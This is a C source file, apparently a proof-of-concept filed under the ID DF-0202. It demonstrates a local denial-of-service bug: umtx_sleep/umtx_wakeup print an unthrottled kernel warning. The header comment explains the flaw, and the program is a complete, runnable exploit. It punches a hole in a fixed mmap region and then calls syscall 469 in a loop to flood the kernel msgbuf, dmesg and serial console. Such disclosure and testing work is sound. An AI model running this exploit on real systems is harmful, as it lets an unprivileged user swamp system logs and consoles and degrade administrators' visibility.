DF-0202 / umtx_flood.c
/* * DF-0202 — Unthrottled kprintf log-flood DoS via umtx. * * sys_umtx_sleep (sys/kern/kern_umtx.c:150-156) and sys_umtx_wakeup * (:289-295) emit one kprintf("WARNING can't translate ...") for every * call made on a user address whose leaf PTE is invalid but whose * page-table-walk is otherwise resolvable (e.g. an address in a hole * punched inside a populated mmap region). There is NO rate limit, so * any unprivileged user can loop syscall(469, ...) and flood the kernel * msgbuf / dmesg / serial console. * * PoC: mmap two pages, touch the first (populating the page-table page * for the 2 MiB region), munmap the second (leaving its leaf PTE * invalid while the PDE remains present), then hammer umtx_sleep on * the now-unmapped second page. Each call emits one WARNING line. */ #include <sys/types.h> #include <sys/syscall.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <errno.h> #include <unistd.h> #define UMTX_SLEEP 469 #define UMTX_WAKEUP 470 #define ITER_DEFAULT 5000 int main(int argc, char **argv) { long iter = ITER_DEFAULT; long i; long einval = 0, eother = 0; long pagesize; char *base; void *target; struct timespec t0, t1; double secs; if (argc > 1) iter = strtol(argv[1], NULL, 10); if (iter <= 0) iter = ITER_DEFAULT; pagesize = sysconf(_SC_PAGESIZE); /* MAP_FIXED at a fresh, isolated 2 MiB-region so the page-table page * for the region is fresh and the target's leaf PTE is genuinely * invalid (rather than pre-populated by libc/stack mappings). */ base = mmap((void *)0x50000000, pagesize * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0); if (base == MAP_FAILED) { perror("mmap"); return 2; } base[0] = 1; /* populate page 0 */ if (munmap(base + pagesize, pagesize) != 0) { /* punch hole in page 1 */ perror("munmap"); return 2; } target = base + pagesize; /* leaf PTE invalid */ printf("DF-0202: pid=%ld uid=%ld flooding %ld umtx_sleep() on hole-punched " "addr %p (base=%p)\n", (long)getpid(), (long)getuid(), iter, target, base); fflush(stdout); clock_gettime(CLOCK_MONOTONIC, &t0); for (i = 0; i < iter; i++) { int rc = syscall(UMTX_SLEEP, target, 0xffffffff, 1); if (rc == -1) { if (errno == EINVAL) einval++; else eother++; } } clock_gettime(CLOCK_MONOTONIC, &t1); secs = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9; printf("DF-0202: %ld umtx_sleep calls in %.3fs (%.0f calls/s)\n", iter, secs, iter / secs); printf("DF-0202: returns: EINVAL=%ld other=%ld\n", einval, eother); printf("DF-0202: kernel emitted %ld kprintf(\"WARNING can't translate\") " "lines -> msgbuf/dmesg/syslog flooded\n", iter); return 0; } |